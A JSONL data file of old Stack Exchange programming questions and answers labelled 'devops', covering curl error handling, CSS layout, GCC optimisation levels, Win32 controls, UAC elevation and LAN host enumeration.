{"id": "hf_4f15a1c344d0", "question": "<p>I want to download a lot of urls in a script but I do not want to save the ones that lead to HTTP errors.</p>\n\n<p>As far as I can tell from the man pages, neither <code>curl</code> or <code>wget</code> provide such functionality.\nDoes anyone know about another downloader who does?</p>\n", "question_body": "", "answer": "I think the\n```\n-f\n```\noption to\n```\ncurl\n```\ndoes what you want:\n```\n-f\n```\n,\n```\n--fail\n```\n(HTTP) Fail silently (no output at all) on server errors. This is mostly done to  better\n            enable  scripts  etc  to  better deal with failed attempts. In normal cases when an HTTP\n            server fails to deliver a document, it returns an HTML document stating so (which  often\n            also  describes  why  and  more).  This  flag will prevent curl from outputting that and\n            return error 22. [...]\nHowever, if the response was actually a 301 or 302 redirect, that still gets saved, even if its destination would result in an error:\n```\n```\n$ curl -fO http://google.com/aoeu\n$ cat aoeu\n<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n<TITLE>301 Moved</TITLE></HEAD><BODY>\n<H1>301 Moved</H1>\nThe document has moved\n<A HREF=\"http://www.google.com/aoeu\">here</A>.\n</BODY></HTML>\n```\n```\nTo follow the redirect to its dead end, also give the\n```\n-L\n```\noption:\n```\n-L\n```\n,\n```\n--location\n```\n(HTTP/HTTPS)  If  the  server  reports  that the requested page has moved to a different\n                location (indicated with a Location: header and a 3XX response code), this  option  will\n                make  curl redo the request on the new place. [...]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.165181"}
{"id": "hf_0632b02ac3c3", "question": "<p>If you were to mandate a minimum percentage code-coverage for unit tests, perhaps even as a requirement for committing to a repository, what would it be?</p>\n\n<p>Please explain how you arrived at your answer (since if all you did was pick a number, then I could have done that all by myself ;)</p>\n", "question_body": "", "answer": "85% would be a good starting place for checkin criteria.\nI'd probably chose a variety of higher bars for shipping criteria - depending on the criticality of the subsystems/components being tested.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.189139"}
{"id": "hf_64e8cb901d38", "question": "<p>I'm trying to create a deployment tool that will install software based on the hardware found on a system. I'd like the tool to be able to determine if the optical drive is a writer (to determine if burning software sould be installed) or can read DVDs (to determine if a player should be installed). I tried uing the following code </p>\n\n<pre><code>strComputer = \".\"\nSet objWMIService = GetObject(\"winmgmts:\\\\\" &amp; strComputer &amp; \"\\root\\cimv2\")\nSet colItems = objWMIService.ExecQuery(\"Select * from Win32_CDROMDrive\")\nFor Each objItem in colItems\n    Wscript.Echo \"MediaType: \" &amp; objItem.MediaType\nNext\n</code></pre>\n\n<p>but it always respons with CD-ROM</p>\n", "question_body": "", "answer": "You can use WMI to enumerate what Windows knows about a drive; get the\n```\nWin32_DiskDrive\n```\ninstance from which you should be able to grab the the\n```\nWin32_PhysicalMedia\n```\ninformation for the physical media the drive uses; the\nMediaType\nproperty to get what media it uses (CD, CDRW, DVD, DVDRW, etc, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.224838"}
{"id": "hf_654a972fe3b6", "question": "<p>I'm using a table to design the layout of my web page. I want the table to fill the page even if it doesn't contain much content. Here's the CSS I'm using:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>html, body {\n    height: 100%;\n    margin: 0;\n    padding: 0; \n}\n\n#container {\n    min-height: 100%;\n    width: 100%; \n}\n</code></pre>\n\n<p>And I place something like this in the page code:</p>\n\n<pre><code>&lt;table id=\"container\"&gt;\n&lt;tr&gt;\n&lt;td&gt;\n...\n</code></pre>\n\n<p>This works for Opera 9, but not for Firefox 2 or Internet Explorer 7. Is there a simple way to make this solution work for all popular browsers?</p>\n\n<p>(Adding <code>id=\"container\"</code> to <code>td</code> doesn't help.)</p>\n", "question_body": "", "answer": "Just use the\n```\nheight\n```\nproperty instead of the\n```\nmin-height\n```\nproperty when setting\n```\n#container\n```\n. Once the data gets too big, the table will automatically grow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.249018"}
{"id": "hf_690ab682f3f1", "question": "<p>I'm using the following html to load dojo from Google's hosting.</p>\n\n<pre><code>&lt;script src=\"http://www.google.com/jsapi\"&gt;&lt;/script&gt;\n&lt;script type=\"text/javascript\"&gt;google.load(\"dojo\", \"1.1.1\");&lt;/script&gt;\n&lt;script type=\"text/javascript\"&gt;\ndojo.require(\"dojox.gfx\");\n...\n</code></pre>\n\n<p>This errors out on the requre line with an error like dojox.gfx is undefined. Is there a way to make this work, or does Google not support the dojox extensions?</p>\n\n<p>Alternatively, is there another common host I can use for standard dojo releases?</p>\n", "question_body": "", "answer": "I believe that google becomes the namespace for your imported libraries. Try:\n```\ngoogle.dojo.require\n```\n.\nOh! And as pointed out below, don't forget to use google.setOnLoadCallback instead of calling your function directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.296861"}
{"id": "hf_31a4e68fa48d", "question": "<p>On my current project, we've been using Struts 1 for the last few years, and ... ahem ... Struts is showing its age. We're slowly migrating our front-end code to an Ajax client that consumes XML from the servers. I'm wondering if any of you have migrated a legacy Struts application to a different framework, and what challenges you faced in doing so.</p>\n", "question_body": "", "answer": "Sure. Moving from Struts to an AJAX framework is a very liberating experience. (Though we used JSON rather than XML. Much easier to parse.) However, you need to be aware that it's effectively a full rewrite of your application.\nInstead of the classic Database/JSP/Actions scheme for MVC, you'll find yourself moving to a Servlet/Javascript scheme whereby the model is represented by HTTP GET requests, actions are represented by POST/PUT/DELETE requests, and the view is rendered on the fly by the web browser. This leads to interesting challenges in each area:\nServer Side\n- On the server side you will need to develop a standard for exposing data to the client. The simplest and easiest method is to adopt a\nREST\nmethodology that best matches your data's hierarchy. This is fairly simple to implement with servlets, but Sun also has developed a\nJava 1.6 scheme\nusing attributes that looks pretty cool.\nAnother aspect of the server side is to choose a transmission protocol. I know you mentioned XML already, but you might want to reconsider. XML parsers vary greatly between browsers. One browser might make the document root the first child, another one might add a special content object, and they all parse whitespace differently. Even worse, the normalize() function doesn't seem to be correctly implemented by the major browsers. Which means that XML parsing is liable to be full of hacks.\nJSON\nis much easier to parse and more consistent in its results. Javascript and Actionscript (Flash) can both translate JSON directly to objects. This makes accessing the data a simple matter of x.y or x[y]. There are also plenty of APIs to handle JSON in every language imaginable. Because it's so easy to parse, it's almost supported BETTER than XML!\nClient Side\n- The first issue you're going to run into is the fact that no one understands how to write Javascript. ESPECIALLY those who think they do. If you have any books on Javascript, throw them out the window NOW. There are practically no good books on the language as they all follow the same \"hacking\" pattern without really diving into what they are doing.\nFrom the lowest level, your team is going to need remedial training on Javascript development. Start with the\nJavascript Client Guide\n. It's the\nde facto\nsource of information on the language. The next stop is\nDouglas Crockford's videos\non Javascript. I don't agree with everything he has to say, but he's one of the few experts on the language.\nOnce you've got that down, consider what frameworks, if any, you want to use. Generally speaking, I dislike stuff like Prototype and Mootools. They tend to take a simple problem and make it worse. None the less, you can feel free to evaluate these tools and decide if they'll work for you.\nIf you absolutely feel that you cannot live without a framework because your team is too inexperienced, then\nGWT\nmight fit the bill. GWT allows you to quickly write DHTML web apps in Java code, then compile them to Javascript. The PROBLEM is that you're giving up massive amounts of flexibility by doing this. The Javascript language is far more powerful than GWT exposes. However, GWT does let Java developers get up to speed faster. So pick your battles.\nThose are the key areas I can think of. I can say that you'll heave a sigh of relief once you get struts out of your application. It can be a bit of a beast. Especially if you've had inexperienced developers working on your Struts model. :-)\nAny questions?\nEdit 1:\nI forgot to add that your team should study the\nW3C specs\nreligiously. These are the APIs available to you in modern browsers. If you catch anyone using the DOM 0 APIs (e.g. document.forms['myform'].blah.value instead of document.getElementById(\"blah\").value) force them to transcribe the entire DOM 1 specification until they understand it top to bottom.\nEdit 2:\nAnother key issue to consider is how to document your fancy new AJAX application. REST style interfaces lend themselves well to being documented in a Wiki. What I did was a had a top level page that listed each of the services and a description. By clicking on the service path, you would be taken to a document with detailed information on each of the sub-paths. In theory, this scheme can document as deep as you need the tree to go.\nIf you go with JSON, you will need to develop a scheme to document the objects. I just listed out the possible properties in the Wiki as documentation. That works well for simple object trees, but can get complex with larger, more sophisticated objects. You can consider supplementing with something like IDL or WebIDL in that case. (Can't be much worse than XML DTDs and Schemas. ;-))\nThe DHTML code is a bit more classical in its documentation. You can use a tool like\nJSDoc\nto create JavaDoc-style documentation. There's just one caveat. Javascript code does not lend itself well to being documented in-code. If for no other reason that the fact that it bloats the download. However, you may find yourself regularly writing code that operates as a cohesive object, but is not coded behind the scenes as such an object. Thus the best solution is to create JSDoc skeleton files that represent and document the Javascript objects.\nIf you're using GWT, documentation should be a no-brainer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.332793"}
{"id": "hf_824cfbfaec80", "question": "<p>Can I store a database connection in the Session object?</p>\n", "question_body": "", "answer": "It is generally not recommended to do so, a connection string in the Application variable, with a nice helper function/class is a much preferred method.\nHere\nis some reference.\n(Dead link removed because it now leads to a phishy site)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.369956"}
{"id": "hf_a2b52265bf59", "question": "<p>Anyone got a working example of using ruby to post to a presigned URL on s3</p>\n", "question_body": "", "answer": "Does anything on the\ns3 library page\ncover what you need?  There are loads of examples there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.417973"}
{"id": "hf_b9b35284c197", "question": "<p>What is the difference between different optimization levels in GCC?  Assuming I don't care to have any debug hooks, why wouldn't I just use the highest level of optimization available to me?  does a higher level of optimization necessarily (i.e. provably) generate a faster program?</p>\n", "question_body": "", "answer": "Generally optimization levels higher than\n```\n-O2\n```\n(just\n```\n-O3\n```\nfor gcc but other compilers have higher ones) include optimizations that can increase the size of your code.  This includes things like loop unrolling, lots of inlining, padding for alignment regardless of size, etc.  Other compilers offer vectorization and inter-procedural optimization at levels higher than\n```\n-O3\n```\n, as well as certain optimizations that can improve speed a lot at the cost of correctness (e.g., using faster, less accurate math routines).  Check the docs before you use these things.\nAs for performance, it's a tradeoff.  In general, compiler designers try to tune these things so that they don't decrease the performance of your code, so\n```\n-O3\n```\nwill usually help (at least in my experience) but your mileage may vary.  It's not always the case that really aggressive size-altering optimizations will improve performance (e.g. really aggressive inlining can get you cache pollution).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.532157"}
{"id": "hf_3d5ea92d7c3b", "question": "<p>As an example in pseudocode:</p>\n\n<pre><code>if ((a mod 2) == 0)\n{\n    isEven = true;\n}\nelse\n{\n    isEven = false;\n}\n</code></pre>\n", "question_body": "", "answer": "Here is the representation of your pseudo-code in minimal Java code;\n```\n```\nboolean isEven = a % 2 == 0;\n```\n```\nI'll now break it down into its components. The modulus operator in Java is the percent character (%). Therefore taking an int % int returns another int. The double equals (==) operator is used to compare values, such as a pair of ints and returns a boolean. This is then assigned to the boolean variable 'isEven'. Based on operator precedence the modulus will be evaluated before the comparison.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.580784"}
{"id": "hf_3ea67e3840e6", "question": "<p>Why doesn't this Google Chart API URL render both data sets on this XY scatter plot?  </p>\n\n<pre><code>http://chart.apis.google.com/chart?cht=lxy&amp;chd=t:10,20,30,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200|0.10,0.23,0.33,0.44,0.56,0.66,0.79,0.90,0.99,1.12,1.22,1.33,1.44,1.56,1.68,1.79,1.90,2.02,2.12,2.22|0.28,0.56,0.85,1.12,1.42,1.68,1.97,2.26,2.54,2.84,3.12,3.40,3.84,4.10,4.53,4.80,5.45,6.02,6.40,6.80&amp;chco=3072F3,ff0000,00aaaa&amp;chls=2,4,1&amp;chs=320x240&amp;chds=0,201,0,7&amp;chm=s,FF0000,0,-1,5|s,0000ff,1,-1,5|s,00aa00,2,-1,5\n</code></pre>\n\n<p>I've read the <a href=\"http://code.google.com/apis/chart/\" rel=\"nofollow noreferrer\">documentation</a> over and over again, and I can't figure it out.</p>\n", "question_body": "", "answer": "I think it actually does render both data sets, but you can only se one of them because there's only one scale on the y axis. (In other words, 0.10 is too small to show.)\nAnd, you should really be using percentages. 100 is the highest accepted value:\nWhere chart data string consists of positive floating point numbers from zero (0.0) to one hundred (100.0)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.714436"}
{"id": "hf_cfb399329455", "question": "<p>How to create new PCL file similar to existing MS doc. I have MS doc template and replacing it with actual data. I need to achieve same for PCL format (Create PCL file as template and replacing it with actual value from database and send it to fax).</p>\n", "question_body": "", "answer": "install a new printer\nwhen asked for a port, create a new port of type \"Local Port\"\nas name of the port, enter some file name, e.g.\n```\nc:\\temp\\print.pcl\n```\nselect some PCL-compatible printer, e.g. HP LaserJet 4, or whatever your fax is comptaible with\nWhen you print to this printer, Windows will write the output to that file.\nMany programs allow you to redirect printing to a file; in this case, you'd be able to select a different file name for each print job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.738422"}
{"id": "hf_0fee7323d427", "question": "<p>I have some experience making multiplayer <strong>turn-based</strong> games using sockets, but I've never attempted a realtime action game. What kind of extra issues would I have to deal with? Do I need to keep a history of player actions in case lagged players do something in the past? Do I really need to use UDP packets or will TCP suffice? What else?</p>\n\n<p>I haven't really decided what to make, but for the purpose of this question you can consider a 10-player 2D game with X Y movement.</p>\n", "question_body": "", "answer": "There are a few factors involved in setting up multiplayer\nThe protocol, it's important that you decide whether you want TCP or UDP.  UDP has less overhead but isn't guaranteed delivery.  Conversely TCP is more trustworthy.  Each game will have their preferred protocol.  UDP for instance will work for a first person shooter but may not be suited for an RTS where information needs to be consistent\nFirewall/Connection.  Making sure your multiplayer game doesn't have to make 2000 outbound connections and uses a standard port so portforwarding is easy.  Interfacing it with windows firewall will probably be an added bonus.\nBandwidth.  This is important, how much data are you intending to push through a network connection?  I guess this will come down to play testing and recording throughput.  If you're requiring upwards of 200kb/s for each client you may want to rethink a few things.\nServer Load.  This is also important, how much processing is required by a server for a normal game?  Do you need some super 8 core server with 16gb of RAM to run it?  Are there ways of reducing it?\nI guess there are heaps more, but really you want a game that is comfortable to play over the network and over a variety of connections.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.801770"}
{"id": "hf_f9d83f612ef6", "question": "<p>How can I cast long to HWND (C++ visual studio 8)?</p>\n\n<pre><code>Long lWindowHandler;\nHWND oHwnd = (HWND)lWindowHandler;\n</code></pre>\n\n<p>But I got the following warning:</p>\n\n<blockquote>\n  <p>warning C4312: 'type cast' : conversion from 'LONG' to 'HWND' of greater size</p>\n</blockquote>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "As long as you're sure that the LONG you have is really an HWND, then it's as simple as:\n```\n```\nHWND hWnd = (HWND)(LONG_PTR)lParam;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.861351"}
{"id": "hf_2089e7f6f9df", "question": "<p>I find it much more difficult to manage your session in a desktop application, because you cannot take advantage of such a clear bondary like HttpContext.\nSo how do you manage your session lifetime to take advantage of lazy loading but without having one session open for the entire application?</p>\n", "question_body": "", "answer": "I think it boils down to the design of your objects. Because lazy-loading can be enforced in the per-object level, you can take advantage of that fact when you think about session management.\nFor example, I have a bunch of objects which are data-rich and lazy loaded, and I have a grid/summary view, and a details view for them. In the grid-summary view, I do not use the lazy-loaded version of the object. I use a surrogate object to present that data, and that surrogate object is not lazy loaded.\nOn the other hand, once a user selects that record for viewing/editing, and you enter a multi-paged details view of the object, that's when we apply lazy-loading to the specific object. Data is now lazy loaded depending on which details are viewed only on demand. That way, the scope of my session being open for lazy loading only lasts as long as the details view is being used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.920497"}
{"id": "hf_42cc3cb51662", "question": "<p>NHibernate is not really a good fit for our environment due to all the dependencies. (Castle, log4net etc.)</p>\n\n<p>Is there a good lightweight alternative?</p>\n\n<p>Support for simple file based databases such as Access/SQLite/VistaDB is essential.</p>\n\n<p>Ideally, something contained in a single assembly that only references .NET assemblies. If it only requires .NET framework 2.0 or 3.0 that is a bonus.</p>\n", "question_body": "", "answer": "Generally speaking, for your database backend to work with .net you need an ADO.Net provider for it.\nFor MS Access (Jet), the Provider is shipped with .net.\nFor SQLite, there is a selfcontained ADO.Net Provider.\nAs for the data access layer lib, if you want some abstraction over ADO.Net:\nMS\nData Access Application Block\n, a part of\nms enterprise library\n.\niBatis.Net\n(Was\nretired\nby the Apache Foundation in 2010)\nMyBatis.net\nADOTemplate\nfrom the Spring Framework.net\nAll those work well starting with framework 2.0 and up.\nBasically,\nyou\nchoose (and there is a lot of choices)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.968447"}
{"id": "hf_0619b90233c7", "question": "<p>How to center text over an image in a table cell using javascript, css, and/or html?</p>\n\n<p>I have an HTML table containing images - all the same size - and I want to center a text label over each image. The text in the labels may vary in size. Horizontal centering is not difficult, but vertical centering is.</p>\n\n<p>ADDENDUM: i did end up having to use javascript to center the text reliably using a fixed-size div with absolute positioning; i just could not get it to work any other way</p>\n", "question_body": "", "answer": "you could try putting the images in the background.\n```\n```\n<table>\n    <tr>\n        <td style=\"background: url(myImg.jpg) no-repeat; vertical-align: middle; text-align: center\">\n            Here is my text\n        </td>\n    </tr>\n</table>\n```\n```\nYou'll just need to set the height and width on the cell and that should be it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.004810"}
{"id": "hf_4be43b50ca9f", "question": "<p>I am developing an application using vb.net. For performing some tasks the application needs administrator privileges in the machine. How to ask for the privileges during the execution of the program?</p>\n\n<p>What is the general method of switching user accounts for executing an application? In other words, is there some way for an application to run under an arbitrary user account?</p>\n", "question_body": "", "answer": "There are several articles on the Internet about developing elevated processes in Vista, but essentially elevation requests involve decorating .NET assemblies and WIN32 executables with elevation status in the application manifest file (may be embedded or side-by-side).\nThere is an excellent blog post about your question which provides the code you'll probably need:\n.NET Wrapper for COM Elevation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.105590"}
{"id": "hf_5170f267eeae", "question": "<p>Is it possible to get a thread dump of a Java Web Start application? And if so, how?</p>\n\n<p>It would be nice if there were a simple solution, which would enable a non-developer (customer) to create a thread dump. Alternatively, is it possible to create a thread dump programmatically?</p>\n\n<p>In the Java Web Start Console I can get a list of threads by pressing 't' but stacktraces are not included.</p>\n\n<p>If answers require certain java versions, please say so.</p>\n", "question_body": "", "answer": "Try\n```\n```\nStackTraceElement[] stack = Thread.currentThread().getStackTrace();\n```\n```\nThen you can iterate over the collection to show the top x stack elements you're interested in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.129644"}
{"id": "hf_717c1c52625a", "question": "<p>I have tree control object created using CTreeCtrl MFC class. The tree control needs to support rename.\nWhen I left click on any of item in Tree the TVN_SELCHANGED event is called from which I can get the selected item of the tree as below :\n  HTREEITEM h = m_moveListTree.GetSelectedItem();\n  CString s = m_moveListTree.GetItemText(h);</p>\n\n<p>However when I rightclick on any item in tree I do not get any TVN_SELCHANGED event and hence my selected item still remains the same from left click event. This is causing following problem :\n1)User leftclicks on item A\n2)user right clicks on item B and says rename\n3)Since the selected item is still A the rename is applying for item A.</p>\n\n<p>Please help in solving problem.</p>\n\n<p>-Praveen</p>\n", "question_body": "", "answer": "I created my own MFC like home grown C++ GUI library on top of the Win32 API and looking at my code, this is how it handles that situation:\n```\n```\nLRESULT xTreeCtrl::onRightClick(NMHDR *)\n{\n  xPoint pt;\n\n  //-- get the cursor at the time the mesage was posted\n  DWORD dwPos = ::GetMessagePos();\n\n  pt.x = GET_X_LPARAM(dwPos);\n  pt.y = GET_Y_LPARAM (dwPos);\n\n  //-- now convert to window co-ordinates\n  pt.toWindow(this);\n\n  //-- check for a hit\n  HTREEITEM hItem = this->hitTest(pt);\n\n  //-- select any item that was hit\n  if ((int)hItem != -1) this->select(hItem);\n\n  //-- leave the rest to default processing\n  return 0;\n}\n```\n```\nI suspect if you do something similar in the MFC right click or right button down events that will fix the problem.\nNOTE: The onRightClick code above is nothing more than the handler for the\nWM_NOTIFY\n,\nNM_RCLICK\nmessage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.153657"}
{"id": "hf_f7da5a25eeae", "question": "<p>How do I create a resource that I can reference and use in various parts of my program easily?</p>\n\n<p>My specific problem is that I have a NotifyIcon that I want to change the icon of depending on the state of the program. A common problem, but one I've been struggling with for a long time. </p>\n", "question_body": "", "answer": "Well, after searching around and cobbling together various points from around StackOverflow (gee, I love this place already), most of the problems were already past this stage. I did manage to work out an answer to my problem though.\nHow to create a resource:\nIn my case, I want to create an icon. It's a similar process, no matter what type of data you want to add as a resource though.\nRight click the project you want to add a resource to. Do this in the Solution Explorer. Select the \"Properties\" option from the list.\nClick the \"Resources\" tab.\nThe first button along the top of the bar will let you select the type of resource you want to add. It should start on string. We want to add an icon, so click on it and select \"Icons\" from the list of options.\nNext, move to the second button, \"Add Resource\". You can either add a new resource, or if you already have an icon already made, you can add that too. Follow the prompts for whichever option you choose.\nAt this point, you can double click the newly added resource to edit it. Note, resources also show up in the Solution Explorer, and double clicking there is just as effective.\nHow to use a resource:\nGreat, so we have our new resource and we're itching to have those lovely changing icons... How do we do that? Well, lucky us, C# makes this exceedingly easy.\nThere is a static class called\n```\nProperties.Resources\n```\nthat gives you access to all your resources, so my code ended up being as simple as:\n```\n```\npaused = !paused;\nif (paused)\n    notifyIcon.Icon = Properties.Resources.RedIcon;\nelse\n    notifyIcon.Icon = Properties.Resources.GreenIcon;\n```\n```\nDone! Finished! Everything is simple when you know how, isn't it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.178259"}
{"id": "hf_dc082def3c45", "question": "<p>I am working on a small application in VB.NET. The program needs administrator privilege for doing some tasks. Is there a way to ask for administrator privileges during the execution if the program?</p>\n\n<p>What is the general way of changing the user account under which the application is running?</p>\n", "question_body": "", "answer": "You can specify this in your application's manifest file.\nCheck out\nthis link\nand\nthis link\nand\nthis link\ntoo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.202770"}
{"id": "hf_1f98668fb79e", "question": "<p>GNU/Linux text console, X11 not involved, indeed not even\ninstalled. Keyboard is US layout, keymap US default. Kernel\nversion 2.20.x or later.</p>\n\n<p>An application written in C is getting keyboard input in\ntranslation mode, i.e. <code>XLATE</code> or <code>UNICODE</code>. When a key is\npressed, the application receives the corresponding\nkeystring. As an example, you press F1, the application\nreads <code>\"\\033[[A\"</code>.</p>\n\n<p>Before the kernel sends the keystring to the application, it\nmust know which key is pressed, i.e. it must know its\nscancode. In the F1 example above, the scancode for the key\npressed is 59 or 0x3b.</p>\n\n<p>That's to say even when the keyboard is in translation mode,\nthe scancodes are held somewhere in memory. How can the\napplication access them without switching the keyboard to\n<code>RAW</code> or <code>MEDIUMRAW</code> mode? A code snippet would help.</p>\n", "question_body": "", "answer": "Sure, the code you want to look at is in kbd-1.12.tar.bz2, which is the source bundle for the 'kbd' package. The 'kbd' package provides tools such as 'dumpkeys', 'showkeys' and 'loadkeys', which are useful for looking at the current keyboard mapping, checking what keys emit what scancodes, and loading a new mapping.\nYou will have to communicate with the kernel via ioctls, and it's quite complicated, so I recommend reading the source of that package to see how it's done.\nHere's a link to the tarball:\nkbd-1.12.tar.bz2 (618K)\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.226779"}
{"id": "hf_b6385ded4efc", "question": "<p>i've created a Form Panel, and i'm rendering couple of Combo Boxes in the panel with a store which is populated via an response handler.\nthe problem if i want to render the panel again it renders the combo boxes without the store, though i'm re-constructing the panel.\ni tried to debug to figure out the cause and surprisingly though for combo box the Store is null on calling - comboBox.setStore(store) it checks for the property (isRendered) and finds it to be true and hence doesn't add the store but just keep the existing store which is still null.</p>\n\n<p>i've seen this problem in another scenaio where i had created a collapsible field set containing the Combobox, On minimize and maximize of the fieldset the store vanishes for the same reasons.</p>\n\n<p>can someone please help me here, i'm completely struck here i tried various option but nothing works.</p>\n", "question_body": "", "answer": "Have you tried\n```\ndoLayout()\n```\nmethod of\n```\nFormPanel\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.250898"}
{"id": "hf_26ca57b4236f", "question": "<p>How do I get a list of the active IP-addresses, MAC-addresses and <a href=\"http://en.wikipedia.org/wiki/NetBIOS\" rel=\"nofollow noreferrer\">NetBIOS</a> names on the LAN?</p>\n\n<p>I'd like to get NetBIOS name, IP and <a href=\"http://en.wikipedia.org/wiki/MAC_address\" rel=\"nofollow noreferrer\">MAC addresses</a> for every host on the LAN, preferably not having to walk to every single PC and take note of the stuff myself.</p>\n\n<p>How to do that with <a href=\"http://en.wikipedia.org/wiki/Windows_Script_Host\" rel=\"nofollow noreferrer\">Windows Script Host</a>/PowerShell/whatever?</p>\n", "question_body": "", "answer": "If you're using DHCP then the server will give you a list of all that information.\nThis website has a good tutorial on using powershell to get networking information\nhttp://www.powershellpro.com/powershell-tutorial-introduction/powershell-scripting-with-wmi/\nIf you neet to get quick list of computer names you can use \"net view\".  Also have a look at nbmac although I'm unsure of it's working status under XP.  Another option could be to use nbtstat -a  (once you've used net view to list workstations)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:03.291558"}
